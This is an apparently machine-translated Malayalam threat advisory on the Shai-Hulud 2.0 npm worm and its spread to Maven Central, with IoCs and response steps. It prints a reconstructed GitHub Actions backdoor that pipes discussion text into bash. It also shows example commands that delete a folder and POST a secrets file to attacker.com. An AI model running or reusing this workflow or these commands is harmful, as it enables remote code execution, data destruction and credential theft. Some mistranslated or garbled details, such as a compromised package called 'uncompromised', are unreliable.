ഷായ് ഹുലുദ് - എൻ‌പി‌എം സപ്ലൈ ചെയിൻ ആക്രമണം

ഷായ്-ഹുലുദ് 2.0 NPM സപ്ലൈ ചെയിൻ ആക്രമണം

ഉള്ളടക്ക പട്ടിക

നിർബന്ധമായും വായിക്കേണ്ട പോസ്റ്റുകൾ

അച്ചു ഡി.ആർ.

2025 നവംബർ 24-ന് ഗവേഷകർ കണ്ടെത്തിയത് ഷായ് ഹുലുദ്: രണ്ടാം വരവ്, ഒരു പുതിയ തരംഗം എൻ‌പി‌എം സപ്ലൈ ചെയിൻ ആക്രമണം അത് npm പാക്കേജുകളെ വീണ്ടും ബാധിക്കുകയും, ക്രെഡൻഷ്യലുകൾ മോഷ്ടിക്കുകയും, ഡെവലപ്പർ മെഷീനുകളിലുടനീളം വ്യാപിക്കുകയും ചെയ്യുന്നു, കൂടാതെ CI/CD pipelines. ആദ്യ സംഭവത്തിൽ നിന്ന് വ്യത്യസ്തമായി, ഈ പതിപ്പ് ബൺ റൺടൈം ഉടനടി ഇൻസ്റ്റാൾ ചെയ്യുന്നു, മറഞ്ഞിരിക്കുന്ന GitHub Actions ബാക്ക്‌ഡോറുകൾ വിന്യസിക്കുന്നു, കൂടാതെ Linux, macOS, Windows എന്നിവയിലെ മുഴുവൻ ഹോം ഡയറക്ടറികളും മായ്‌ക്കാൻ കഴിവുള്ള ഒരു വിനാശകരമായ വൈപ്പർ ഉൾപ്പെടുന്നു. മണിക്കൂറുകൾക്കുള്ളിൽ, കോംപ്രമൈസ് ചെയ്‌ത പാക്കേജുകളുടെ എണ്ണം 830 കവിഞ്ഞു, ഇത് ഒരു ലളിതമായ വകഭേദമല്ലെന്നും എന്നാൽ ഒരു പ്രധാന വർദ്ധനവാണെന്നും സ്ഥിരീകരിച്ചു. യഥാർത്ഥ പുഴു.

ആഘാതം: പബ്ലിക് npm പാക്കേജുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്ന ഏതെങ്കിലും ഡെവലപ്പർ അല്ലെങ്കിൽ CI റണ്ണർ വെളിപ്പെടുത്തിയിട്ടുണ്ടാകാം. ബാധിച്ച പാക്കേജുകൾ മാവൻ സെൻട്രലിലേക്ക് യാന്ത്രികമായി മിറർ ചെയ്തതിനുശേഷം ജാവ ടീമുകളും അപകടത്തിലാണ്.

ഉടനടിയുള്ള പ്രവർത്തനങ്ങൾ: അറിയപ്പെടുന്ന മാലിഷ്യസ് പതിപ്പുകൾ തടയുക, ലോക്ക്ഫയൽ-ഒൺലി ഇൻസ്റ്റാളുകൾ നടപ്പിലാക്കുക, npm, GitHub, ക്ലൗഡ് ക്രെഡൻഷ്യലുകൾ എന്നിവ തിരിക്കുക, അജ്ഞാത സെൽഫ്-ഹോസ്റ്റഡ് റണ്ണറുകൾ നീക്കം ചെയ്യുക, setup_bun.js, bun_environment.js പോലുള്ള IoC-കൾക്കായുള്ള നിരീക്ഷണം, “Sha1-Hulud: The Second Coming” അടങ്ങിയിരിക്കുന്ന സംശയാസ്പദമായ GitHub റിപ്പോസിറ്ററികൾ എന്നിവ.

എന്താണ് മാറിയത്: എൻ‌പി‌എം സപ്ലൈ ചെയിൻ ആക്രമണത്തിൽ ഷായ് ഹുലുദ് മാവെനിലേക്ക് ചാടിയപ്പോൾ

ഷായ് ഹുലുദ് ആക്രമണത്തിന്റെ രണ്ടാം തരംഗം ഒരു വലിയ വർദ്ധനവിന് കാരണമായി. ആദ്യ കാമ്പെയ്‌നിൽ, വേം npm ആവാസവ്യവസ്ഥയ്ക്കുള്ളിൽ തന്നെ തുടർന്നു. ഇത്തവണ, മാൽവെയർ കടന്നുകയറിയത് മാവെൻ സെൻട്രൽ, npm-നെ ഒരിക്കലും സ്പർശിക്കാത്ത ജാവ ടീമുകളെ തുറന്നുകാട്ടുന്നു.

ടൈംലൈനും ടോക്കൺ വിൻഡോയും

ആക്രമണം ആരംഭിച്ചത് നവംബർ 24, 2025, npm അതിന്റെ ലെഗസി പ്രാമാണീകരണ ടോക്കണുകൾ പിൻവലിക്കുന്നതിന് തൊട്ടുമുമ്പ് ഡിസംബർ 9.
ഈ പഴയ ടോക്കണുകൾ മോഷ്ടിക്കാനും വീണ്ടും ഉപയോഗിക്കാനും എളുപ്പമായിരുന്നു. ഈ വിൻഡോയിൽ ആക്രമണകാരികൾക്ക് അവയിലേക്ക് ഇപ്പോഴും ആക്‌സസ് ഉണ്ടായിരുന്നതിനാൽ, കട്ട്ഓഫിന് മുമ്പ് നൂറുകണക്കിന് ക്ഷുദ്ര പതിപ്പുകൾ അതിവേഗത്തിൽ വീണ്ടും പ്രസിദ്ധീകരിക്കാൻ അവർക്ക് കഴിഞ്ഞു.

മാവെനിൽ മാൽവെയർ എങ്ങനെ എത്തി?

ക്രോസ്-രജിസ്ട്രിയിലെ കുതിപ്പ് സംഭവിച്ചത് എംവിഎൻപിഎം, npm പാക്കേജുകളെ മാവൻ ആർട്ടിഫാക്റ്റുകളാക്കി മാറ്റുന്ന ഒരു ഓട്ടോമേറ്റഡ് മിററിംഗ് ടൂൾ.

mvnpm സുരക്ഷാ പരിശോധനകൾ നടത്തുന്നില്ല. npm പ്രസിദ്ധീകരിക്കുന്നതെന്തും അത് വീണ്ടും പാക്കേജ് ചെയ്യുന്നു.

തൽഫലമായി:

  • ഒരു വിട്ടുവീഴ്ച ചെയ്യാത്ത npm പാക്കേജ് (ഉദാഹരണത്തിന് പോസ്റ്റ്‌ഹോഗ്-നോഡ്@4.18.1)
  • ഒരു മാവെൻ ആർട്ടിഫാക്റ്റായി യാന്ത്രികമായി പരിവർത്തനം ചെയ്യപ്പെട്ടു.
    org.mvnpm:പോസ്റ്റ്‌ഹോഗ്-നോഡ്:4.18.1
  • വൈറസ് ബാധിച്ചിട്ടുണ്ടെന്ന് ആരും മനസ്സിലാക്കുന്നതിന് മുമ്പ് മാവൻ സെൻട്രലിൽ പ്രസിദ്ധീകരിച്ചു.

ഇതുകൊണ്ട് അർത്ഥമാക്കുന്നത് ജാവ ഡെവലപ്പർമാർ ഒരു npm ലംഘനത്തിന് ഇരയായി, അവർ ഒരിക്കലും ഒരു npm പാക്കേജ് ഇൻസ്റ്റാൾ ചെയ്തിട്ടില്ലെങ്കിൽ പോലും.

എന്തുകൊണ്ട് ഇത് പ്രാധാന്യമർഹിക്കുന്നു

ഇതാണ് ആദ്യമായി അറിയപ്പെടുന്ന ക്രോസ്-രജിസ്ട്രി വേം, ഒരു വിതരണ ശൃംഖല ആക്രമണം ഒരു ആവാസവ്യവസ്ഥയിൽ നിന്ന് മറ്റൊന്നിലേക്ക് ഓട്ടോമേഷൻ വഴി മാത്രം വ്യാപിക്കുന്നിടത്ത്.
ഇക്കാരണത്താൽ, ബ്ലാസ്റ്റ് റേഡിയസിൽ ഇപ്പോൾ ജാവ, ജെവിഎം വർക്ക്‌ലോഡുകൾ ഉൾപ്പെടുന്നു, കൂടാതെ enterprise മാവെൻ സെൻട്രലിനെ ആശ്രയിക്കുന്ന സംവിധാനങ്ങൾ നിർമ്മിക്കുക.

ഷായ് ഹുലുദ് 2.0 ഇത്ര ഗൗരവമുള്ളതാക്കുന്നത് എന്താണ്?

 കണ്ടെത്തൽ ഒഴിവാക്കാൻ ഉപയോഗിക്കുന്ന ബൺ റൺടൈം

ആക്രമണകാരികൾ Node.js-ൽ നിന്ന് Bun റൺടൈമിലേക്ക് മാറി. മാൽവെയർ ബൺ ഓൺ-ദി-ഫ്ലൈ വഴി ഇൻസ്റ്റാൾ ചെയ്യുന്നു. സെറ്റപ്പ്_ബൺ.ജെഎസ് പാക്കേജ് ഇൻസ്റ്റാളേഷൻ സമയത്ത്. ഇത് നോഡ്-നിർദ്ദിഷ്ട നിരീക്ഷണം ഒഴിവാക്കുകയും ആക്രമണകാരികൾക്ക് വളരെ വലിയ ഒരു അവ്യക്ത പേലോഡിനായി വേഗത്തിലുള്ള നിർവ്വഹണം നൽകുകയും ചെയ്യുന്നു.

കമാൻഡ് ബാക്ക്‌ഡോറായി ഉപയോഗിക്കുന്ന GitHub പ്രവർത്തനങ്ങൾ

ഇൻസ്റ്റാൾ ചെയ്തുകഴിഞ്ഞാൽ, മാൽവെയർ ഒരു മറഞ്ഞിരിക്കുന്ന GitHub Actions സെൽഫ്-ഹോസ്റ്റഡ് റണ്ണർ സൃഷ്ടിക്കുന്നു  $ഹോം/.dev-env/. ഇത് വിൻഡോസ്, മാക്ഒഎസ്, ലിനക്സ് എന്നിവയിൽ പ്രവർത്തിക്കുന്നു. ഒരു അപഹരിക്കപ്പെട്ട റിപ്പോസിറ്ററിയിലെ ഗിറ്റ്ഹബ് ചർച്ചകളിൽ സന്ദേശങ്ങൾ പോസ്റ്റ് ചെയ്തുകൊണ്ട് ആക്രമണകാരികൾക്ക് കമാൻഡുകൾ പ്രവർത്തിപ്പിക്കാൻ കഴിയും. ഒരു വർക്ക്ഫ്ലോ ഫയൽ ആ സന്ദേശങ്ങൾ പ്രോസസ്സ് ചെയ്യുകയും ഷെൽ കമാൻഡുകളായി എക്സിക്യൂട്ട് ചെയ്യുകയും ചെയ്യുന്നു.

ബിൽറ്റ്-ഇൻ വൈപ്പർ

GitHub അല്ലെങ്കിൽ npm ഉപയോഗിച്ച് മാൽവെയറിന് പ്രാമാണീകരണം നൽകാൻ കഴിയുന്നില്ലെങ്കിൽ, അത് ഇരയുടെ ഹോം ഡയറക്ടറി മായ്‌ക്കും.

  • വിൻഡോസിൽ ഇത് ഉപയോഗിക്കുന്നത് Del, rd, ഒപ്പം സൈഫർ /W ഫയലുകൾ മായ്ക്കാൻ.
  • ലിനക്സിലും മാകോസിലും ഇത് ഡാറ്റയെ ഓവർറൈറ്റ് ചെയ്യുന്നു കീറിപറിഞ്ഞു തുടർന്ന് ഡയറക്ടറികൾ നീക്കം ചെയ്യുന്നു.

വളരെ ശബ്ദായമാനമായ ഒരു പ്രചാരണം

മാൽവെയർ ചില രഹസ്യങ്ങൾ ഉപയോഗിക്കുന്നുണ്ടെങ്കിലും (ഉദാഹരണത്തിന്, ബൺ ഉപയോഗിച്ച്), മൊത്തത്തിലുള്ള കാമ്പെയ്‌ൻ ഒട്ടും നിശബ്ദമല്ല. ഇത് അപഹരിക്കപ്പെട്ട പാക്കേജുകൾ ആക്രമണാത്മകമായി പുനഃപ്രസിദ്ധീകരിക്കുന്നു, നൂറുകണക്കിന് അല്ലെങ്കിൽ ആയിരക്കണക്കിന് പുതിയ റിപ്പോസിറ്ററികൾ സൃഷ്ടിക്കുന്നു, ക്രെഡൻഷ്യൽ ഡമ്പുകൾ ബൾക്കായി അപ്‌ലോഡ് ചെയ്യുന്നു, കൂടാതെ ഡെവലപ്പർ മെഷീനുകളിൽ ദീർഘകാലം നിലനിൽക്കുന്ന സ്വയം-ഹോസ്റ്റുചെയ്‌ത റണ്ണറുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നു. ഇതൊന്നും താഴ്ന്ന പ്രൊഫൈൽ സ്വഭാവമല്ല. മിക്ക സപ്ലൈ ചെയിൻ വിട്ടുവീഴ്ചകളുമായി താരതമ്യപ്പെടുത്തുമ്പോൾ ഈ ആക്രമണത്തിന്റെ സ്കെയിൽ, വേഗത, പ്രവർത്തന "ശബ്ദത" എന്നിവ വേറിട്ടുനിൽക്കുന്നു, അവ കഴിയുന്നത്ര കാലം കാണപ്പെടാതിരിക്കാൻ മുൻഗണന നൽകുന്നു..

വിശാലമായ ആഘാതം

ആക്രമണകാരികൾ ദശലക്ഷക്കണക്കിന് പ്രതിമാസ ഡൗൺലോഡുകളുള്ള നിരവധി പ്രശസ്ത പാക്കേജുകൾ അപഹരിച്ചു, അവയിൽ ഇവ ഉൾപ്പെടുന്നു:
സാപ്പിയർ, ഇഎൻഎസ് ഡൊമെയ്‌നുകൾ, പോസ്റ്റ്മാൻ, പോസ്റ്റ്‌ഹോഗ്, അസിൻകാപിഐ, വോയ്‌സ്‌ഫ്ലോ.

സാധ്യമായ ആട്രിബ്യൂഷൻ സിഗ്നലുകൾ

ആട്രിബ്യൂഷൻ ഇവിടെ ബുദ്ധിമുട്ടാണ്, കൂടാതെ ഈ കാമ്പെയ്‌നിന് പിന്നിൽ സ്ഥിരീകരിച്ച ഉറവിടവുമില്ല. ഒരു പ്രധാന സുരക്ഷാ സ്ഥാപനം പറയുന്നത്, ഈ പ്രവർത്തനം മുമ്പത്തെ ഷായ്-ഹുലുദ് വേമിനോട് സാമ്യമുള്ളതാണെന്നാണ്, എന്നാൽ പേലോഡ് എങ്ങനെ നിർമ്മിക്കപ്പെടുന്നു എന്നതിലെയും മാൽവെയർ എങ്ങനെ വ്യാപിക്കുന്നു എന്നതിലെയും വ്യത്യാസങ്ങൾ വ്യത്യസ്തമായ ഓപ്പറേറ്റർമാരുടെ സാധ്യതയിലേക്ക് വിരൽ ചൂണ്ടുന്നു. npm നീക്കം ചെയ്യുന്നതിനുമുമ്പ് ഒന്നിലധികം പരിതസ്ഥിതികൾ കോംപ്രമൈസ് ചെയ്ത പാക്കേജുകൾ ഡൗൺലോഡ് ചെയ്‌തതായി അവരുടെ വിലയിരുത്തൽ എടുത്തുകാണിക്കുന്നു, ഇത് ഒരു ഹ്രസ്വകാല പരീക്ഷണത്തേക്കാൾ യഥാർത്ഥ ലോക എക്സ്പോഷറിനെ സൂചിപ്പിക്കുന്നു.

ആദ്യ തരംഗത്തെ പ്രതിധ്വനിപ്പിക്കുന്ന തന്ത്രങ്ങളാണെങ്കിലും പ്രധാന സ്ഥലങ്ങളിൽ, പ്രത്യേകിച്ച് പേലോഡ് ഘടന, പ്രചാരണ യുക്തി, പ്രവർത്തന "ശൈലി" എന്നിവയിൽ വ്യത്യാസമുണ്ടെങ്കിലും, ഒരു കോപ്പിയടി സാഹചര്യം വിശ്വസനീയമാണ്. ആക്രമണകാരികൾ ഷായ്-ഹുലുദിൽ നിന്ന് ആശയങ്ങൾ കടമെടുത്തതാകാം, പക്ഷേ അവരുടെ സ്വന്തം ആയുധങ്ങൾ ഉപയോഗിച്ചിരിക്കാം. മുമ്പത്തെ പ്രചാരണത്തെ പൂർണ്ണമായും അനുകരിക്കാൻ ശ്രമിക്കുന്ന മറ്റൊരു ഗ്രൂപ്പിനെ ഇത് പ്രതിനിധീകരിക്കാം.

ഈ ഘട്ടത്തിൽ, അറിയപ്പെടുന്ന ഏതെങ്കിലും നടനുമായോ, സാമ്പത്തികമായി പ്രേരിതമായ ഗ്രൂപ്പുമായോ, അല്ലെങ്കിൽ സംസ്ഥാനവുമായി ബന്ധപ്പെട്ട സ്ഥാപനവുമായോ ഇതിനെ ബന്ധിപ്പിക്കുന്നതിന് ശക്തമായ തെളിവുകളൊന്നുമില്ല. യഥാർത്ഥ വേമുമായുള്ള ഓവർലാപ്പ് യഥാർത്ഥമാണ്, പക്ഷേ ആട്രിബ്യൂഷനെ “സ്ഥിരീകരിക്കാത്ത” വിഭാഗത്തിൽ നിലനിർത്താൻ വ്യത്യാസങ്ങൾ പര്യാപ്തമാണ്.

മാവെനിലേക്ക് വ്യാപിക്കുക

ഒരു പ്രമുഖ സുരക്ഷാ സ്ഥാപനം സ്ഥിരീകരിച്ചു, ക്ഷുദ്രകരമായ npm പാക്കേജുകൾ മാവനിലേക്ക് സ്വയമേവ പുനഃപ്രസിദ്ധീകരിച്ചു. എംവിഎൻപിഎം, മാനുവൽ അവലോകനം കൂടാതെ npm പാക്കേജുകളെ മാവൻ ആർട്ടിഫാക്റ്റുകളാക്കി മാറ്റുന്ന ഒരു ഉപകരണം.

താഴെ പറയുന്ന പാക്കേജ് മാവെൻ സെൻട്രലിലേക്ക് മാറ്റി: org.mvnpm:പോസ്റ്റ്‌ഹോഗ്-നോഡ്:4.18.1

npm പ്രസിദ്ധീകരിക്കുന്നതെന്തും mvnpm വീണ്ടും പായ്ക്ക് ചെയ്യുന്നതിനാൽ, ആരും തിരിച്ചറിയുന്നതിന് മുമ്പ് തന്നെ, ബാധിച്ച പതിപ്പുകൾ ജാവ ആവാസവ്യവസ്ഥയിൽ പ്രതിഫലിച്ചു.

2025 നവംബർ 25-ന് മാവെൻ സെൻട്രൽ ബാധിച്ച പുരാവസ്തുക്കൾ നീക്കം ചെയ്യുകയും സമാനമായ ക്രോസ്-രജിസ്ട്രി പ്രശ്നങ്ങൾ തടയുന്നതിനായി നിയന്ത്രണങ്ങൾ കർശനമാക്കുകയും ചെയ്തു.

ഇതിനർത്ഥം npm-മായി നേരിട്ട് ബന്ധമില്ലാത്ത ജാവ പ്രോജക്ടുകൾ ഇപ്പോഴും തുറന്നുകാട്ടപ്പെടാമായിരുന്നു എന്നാണ്.

ഷായ് ഹുലുദ് 2.0 ആക്രമണം എങ്ങനെ പ്രവർത്തിക്കുന്നു

അണുബാധ പ്രവാഹം

  • ഒരു ദുഷ്ടൻ പ്രീഇൻസ്റ്റാൾ ചെയ്യുക സ്ക്രിപ്റ്റ് ഇതിലേക്ക് ചേർത്തു package.json.
  • സെറ്റപ്പ്_ബൺ.ജെഎസ് ബൺ നഷ്ടപ്പെട്ടാൽ ഇരയുടെ മെഷീനിൽ ബൺ ഇൻസ്റ്റാൾ ചെയ്യുന്നു.
  • ബൺ_എൻവയോൺമെന്റ്.ജെഎസ് (അവ്യക്തമാക്കിയ കോഡിന്റെ 480k-ലധികം വരികൾ) പശ്ചാത്തലത്തിൽ പ്രവർത്തിക്കുന്നു.
  • ട്രഫിൾഹോഗിന് സമാനമായ സാങ്കേതിക വിദ്യകൾ ഉപയോഗിച്ച് മാൽവെയർ ക്രെഡൻഷ്യലുകൾക്കായി സ്കാൻ ചെയ്യുന്നു. ഇത് തിരയുന്നത്
    • AWS, GCP, Azure കീകൾ
    • GitHub ടോക്കണുകൾ
    • npm ടോക്കണുകൾ
    • CI സിസ്റ്റം രഹസ്യങ്ങൾ
  • മോഷ്ടിച്ച ഡാറ്റ "Sha1-Hulud: The Second Coming" എന്ന വിവരണമുള്ള പൊതു GitHub ശേഖരണങ്ങളിലേക്ക് അപ്‌ലോഡ് ചെയ്യപ്പെടുന്നു.
  • പിടിച്ചെടുത്ത ടോക്കണുകൾ ഉപയോഗിച്ച്, മാൽവെയർ പാക്കേജുകളുടെ അപഹരിക്കപ്പെട്ട പതിപ്പുകൾ പ്രസിദ്ധീകരിക്കുന്നു, ആക്‌സസ് ചെയ്യാവുന്ന GitHub ശേഖരണങ്ങളെ ബാധിക്കുന്നു, റിമോട്ട് കോഡ് നിർവ്വഹണത്തിനായി സ്ഥിരമായി സ്വയം ഹോസ്റ്റുചെയ്‌ത റണ്ണറുകൾ ഇൻസ്റ്റാൾ ചെയ്യുന്നു.

ക്ഷുദ്രകരമായ GitHub വർക്ക്ഫ്ലോകൾ

ഷായ്-ഹുലുദ് എൻ‌പി‌എം സപ്ലൈ ചെയിൻ ആക്രമണത്തിന്റെ രണ്ടാം തരംഗത്തിൽ, മാൽവെയർ സൃഷ്ടിച്ചത് രണ്ട് മറഞ്ഞിരിക്കുന്ന GitHub പ്രവർത്തന വർക്ക്ഫ്ലോകൾ അപഹരിക്കപ്പെട്ട റിപ്പോസിറ്ററികൾക്കുള്ളിൽ. ഈ വർക്ക്ഫ്ലോകൾ ആക്രമണകാരികൾക്ക് റിമോട്ട് കോഡ് എക്സിക്യൂഷൻ, ദീർഘകാല സ്ഥിരത, സിസ്റ്റം രഹസ്യങ്ങളിലേക്കുള്ള പൂർണ്ണ ആക്‌സസ് എന്നിവ നൽകുന്നു.

1. ബാക്ക്‌ഡോർ വർക്ക്‌ഫ്ലോ (discussion.yaml)

ഏറ്റവും അപകടകരമായ വർക്ക്ഫ്ലോ കേൾക്കുന്നു ഗിറ്റ്ഹബ് ചർച്ചകൾ ഇവന്റുകൾ. ഒരു ചർച്ചാ സന്ദേശം സൃഷ്ടിക്കുമ്പോഴോ എഡിറ്റ് ചെയ്യുമ്പോഴോ, വർക്ക്ഫ്ലോ സന്ദേശ ബോഡി വായിക്കുകയും അത് ഒരു ഷെൽ കമാൻഡ് ഇരയുടെ മെഷീനിൽ.

നിരീക്ഷിച്ച സാമ്പിളുകളിൽ നിന്ന് പുനർനിർമ്മിച്ച, ക്ഷുദ്രകരമായ വർക്ക്ഫ്ലോയുടെ ലളിതമായ ഒരു പതിപ്പ് ചുവടെയുണ്ട്:

				
					# .github/workflows/discussion.yaml
name: Discussion Backdoor

on:
  discussion:
    types: [created, edited]

jobs:
  exec:
    runs-on: self-hosted
    steps:
      - name: Execute attacker command
        run: |
          echo "${{ github.event.discussion.body }}" | bash

				
			

നിർണായക രേഖ ഇതാണ്:

				
					${{ github.event.discussion.body }}

				
			

അതായത് ആക്രമണകാരിക്ക് ഒരു GitHub ചർച്ചയ്ക്കുള്ളിൽ ഏത് കമാൻഡും പോസ്റ്റ് ചെയ്യാൻ കഴിയും, സ്വയം ഹോസ്റ്റ് ചെയ്ത റണ്ണർ അത് ഉടനടി നടപ്പിലാക്കും. സ്വയം ഹോസ്റ്റ് ചെയ്ത റണ്ണേഴ്സിന് പലപ്പോഴും ആന്തരിക നെറ്റ്‌വർക്കുകൾ, ക്ലൗഡ് ക്രെഡൻഷ്യലുകൾ, CI രഹസ്യങ്ങൾ എന്നിവയിലേക്ക് ആക്‌സസ് ഉള്ളതിനാൽ, ഷായ് ഹുലുദ് NPM സപ്ലൈ ചെയിൻ ആക്രമണ സമയത്ത് ഈ ബാക്ക്‌ഡോർ ആക്രമണകാരിക്ക് പൂർണ്ണമായ റിമോട്ട് കോഡ് എക്സിക്യൂഷൻ നൽകുന്നു.

കമാൻഡ് ഇഞ്ചക്ഷൻ ചൂഷണം

ഈ വർക്ക്ഫ്ലോ GitHub Actions എക്സ്പ്രഷനുകൾ പ്രോസസ്സ് ചെയ്യുന്ന രീതിയെ ദുരുപയോഗം ചെയ്യുന്നു. സുരക്ഷിത സ്ട്രിംഗുകളിലേക്ക് ഇൻപുട്ട് പരിമിതപ്പെടുത്തുന്നതിനുപകരം, ഇത് അസംസ്കൃത ചർച്ചാ ഉള്ളടക്കം വായിക്കുകയും അത് നേരിട്ട് ഷെല്ലിലേക്ക് പൈപ്പ് ചെയ്യുകയും ചെയ്യുന്നു. തൽഫലമായി, ആക്രമണകാരിക്ക് ഇതുപോലുള്ള ഒരു സന്ദേശം പോസ്റ്റ് ചെയ്താൽ മതിയാകും:

				
					rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json

				
			

ഷായ് ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തിനിടെ ഈ സ്വഭാവം ആവർത്തിച്ച് പ്രത്യക്ഷപ്പെട്ടതിനാൽ, മാൽവെയർ ഒരു റിമോട്ട് കമാൻഡ് ചാനലായി ഗിറ്റ്ഹബ് പ്രവർത്തനങ്ങൾ ഉപയോഗിക്കുന്നുണ്ടെന്നതിന്റെ ഏറ്റവും വ്യക്തമായ സൂചനകളിൽ ഒന്നായി ഇത് മാറി.

സ്വയം ഹോസ്റ്റ് ചെയ്യുന്ന ഓട്ടക്കാർ ഇത് കൂടുതൽ വഷളാക്കുന്നു കാരണം അവർ:

  • കമ്പനി നെറ്റ്‌വർക്കുകൾക്കുള്ളിൽ പ്രവർത്തിക്കുക
  • മേഘം പിടിക്കുക അല്ലെങ്കിൽ CI/CD യോഗ്യതകൾ
  • ഉപയോക്താവിന്റെ അനുമതികളോടെ നടപ്പിലാക്കുക
  • GitHub-ന്റെ സാൻഡ്‌ബോക്‌സിംഗ് അല്ലെങ്കിൽ ഐസൊലേഷൻ ഇല്ല.

ഇത് ആക്രമണകാരികൾക്ക് ആന്തരിക പരിതസ്ഥിതികളിലേക്ക് സ്ഥിരമായ ഒരു കമാൻഡ് ചാനൽ നൽകുന്നു.

രഹസ്യ, സിസ്റ്റം ശേഖരണ വർക്ക്ഫ്ലോ

ബാക്ക്‌ഡോറിനു പുറമേ, മാൽവെയർ മറ്റൊരു വർക്ക്ഫ്ലോ ഉപേക്ഷിക്കുന്നു, അതിന്റെ ലക്ഷ്യം ബാധിച്ച സിസ്റ്റത്തിൽ നിന്ന് സെൻസിറ്റീവ് ഡാറ്റ ശേഖരിച്ച് സംഭരിക്കുക എന്നതാണ്.
ഈ വർക്ക്ഫ്ലോകൾ ഇവയെ ശേഖരിക്കുന്നു:

  • ക്ലൗഡ് ക്രെഡൻഷ്യലുകൾ
  • പരിസ്ഥിതി വേരിയബിളുകൾ
  • ഡയറക്ടറി ലിസ്റ്റിംഗുകൾ
  • ട്രഫിൾഹോഗ് ശൈലിയിലുള്ള രഹസ്യ സ്കാനുകൾ

അവർ ശേഖരിച്ച ഡാറ്റ ഇനിപ്പറയുന്നതുപോലുള്ള ഫയലുകളിൽ സംഭരിക്കുന്നു:

  • ക്ലൗഡ്.ജെസൺ
  • പരിസ്ഥിതി.ജെസൺ
  • കണ്ടന്റ്സ്.ജെസൺ
  • ട്രഫിൾ സീക്രട്ട്സ്.ജെസൺ

ഈ ഫയലുകൾ പിന്നീട് ആക്രമണകാരി നിയന്ത്രിത GitHub ശേഖരണങ്ങളിലേക്ക് അപ്‌ലോഡ് ചെയ്യപ്പെടും, അതിൽ "ഷാ1-ഹുലുദ്: രണ്ടാം വരവ്", അവിടെ നൂറുകണക്കിന് അല്ലെങ്കിൽ ആയിരക്കണക്കിന് മാലിന്യക്കൂമ്പാരങ്ങൾ നിരീക്ഷിക്കപ്പെട്ടു.

വിട്ടുവീഴ്ചയുടെ സൂചകങ്ങൾ

ഫയല്ശക്സനുമ്ക്സ
സെറ്റപ്പ്_ബൺ.ജെഎസ്a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a
ബൺ_എൻവയോൺമെന്റ്.ജെഎസ്62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0

മറ്റ് ചുവന്ന പതാകകൾ

  • .github/വർക്ക്ഫ്ലോകൾ/ഡിസ്കഷൻ.yaml
  • $ഹോം/.dev-env/ അപ്രതീക്ഷിത ഓട്ടക്കാരെ ഉൾക്കൊള്ളുന്നു
  • നിങ്ങളുടെ അക്കൗണ്ടിൽ “Sha1-Hulud: The Second Coming” അടങ്ങിയ പൊതു GitHub ശേഖരങ്ങൾ സൃഷ്ടിച്ചിരിക്കുന്നു.

അപ്‌ഡേറ്റ് ചെയ്‌ത മെട്രിക്കുകൾ (2025 നവംബർ 26 മുതൽ)

മെട്രിക്എണ്ണുക
npm പാക്കേജുകൾ അപകടത്തിൽപ്പെട്ടു830 +
ബാധിച്ച GitHub ശേഖരണങ്ങൾ28,000 +
രഹസ്യ ഫയലുകൾ അപ്‌ലോഡ് ചെയ്‌തു5,000 +
ശേഖരിച്ച ആകെ രഹസ്യങ്ങൾ11,858
സാധുവായ രഹസ്യങ്ങൾ2,298

ഇനി എന്തുചെയ്യണം: ഷായ് ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തോടുള്ള പ്രതികരണം

ഷായ് ഹുലുദ് എൻപിഎം സപ്ലൈ ചെയിൻ ആക്രമണത്തിന് വേഗതയേറിയതും ഘടനാപരവുമായ പ്രതികരണം ആവശ്യമാണ്. ഈ രണ്ടാം തരംഗം npm, GitHub, ഡെവലപ്പർ മെഷീനുകൾ, മാവൻ സെൻട്രൽ എന്നിവയിൽ പോലും വ്യാപിക്കുന്നതിനാൽ, ഏതെങ്കിലും എക്സ്പോഷർ കണ്ടെത്തുന്നതിനും നിയന്ത്രിക്കുന്നതിനും പൂർണ്ണമായും പരിഹരിക്കുന്നതിനും ടീമുകൾ വേഗത്തിൽ നീങ്ങണം. ശരിയായ ക്രമത്തിൽ പ്രതികരിക്കാനും കൂടുതൽ വിട്ടുവീഴ്ചയുടെ സാധ്യത കുറയ്ക്കാനും താഴെയുള്ള ഘട്ടങ്ങൾ നിങ്ങളെ സഹായിക്കുന്നു.

കണ്ടെത്തൽ

  • "Sha1-Hulud: The Second Coming" എന്ന വിവരണമുള്ള റിപ്പോകൾക്കായി GitHub-ൽ തിരയുക.
  • പാക്കേജ് ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ ബൺ ഇൻസ്റ്റലേഷൻ ലോഗുകൾ നോക്കുക.
  • പ്രത്യേകിച്ച് അപ്രതീക്ഷിത ലൈഫ് സൈക്കിൾ സ്ക്രിപ്റ്റുകൾക്കായി package.json ഫയലുകൾ പരിശോധിക്കുക പ്രീഇൻസ്റ്റാൾ ചെയ്യുക.
  • പരിശോധിക്കുക $ഹോം/.dev-env/ ഡെവലപ്പർ അല്ലെങ്കിൽ CI സിസ്റ്റങ്ങളിൽ.
  • സംശയാസ്പദമായ റിലീസുകൾക്കായി GitHub, npm പ്രസിദ്ധീകരണ ലോഗുകൾ അവലോകനം ചെയ്യുക.

കണ്ടെയ്നർ

  • എല്ലാ ക്രെഡൻഷ്യലുകളും തിരിക്കുക: GitHub, npm, ക്ലൗഡ്, CI രഹസ്യങ്ങൾ, API കീകൾ.
  • അജ്ഞാത സ്വയം ഹോസ്റ്റ് ചെയ്ത റണ്ണേഴ്സിനെ പ്രവർത്തനരഹിതമാക്കുകയും നീക്കം ചെയ്യുകയും ചെയ്യുക.
  • റിപ്പോ സൃഷ്ടി താൽക്കാലികമായി പൂട്ടിയിടുക.
  • നിങ്ങളുടെ ആശ്രിതത്വ ഗ്രാഫിൽ നിന്ന് ബാധിച്ച പതിപ്പുകൾ നീക്കം ചെയ്യുക.

പ്രതിവിധി

  • ബാധിച്ച സിസ്റ്റങ്ങൾ വൃത്തിയാക്കുക.
  • ഇഞ്ചക്ട് ചെയ്ത ഫയലുകൾക്കായുള്ള എല്ലാ GitHub Actions വർക്ക്ഫ്ലോകളും അവലോകനം ചെയ്യുക.
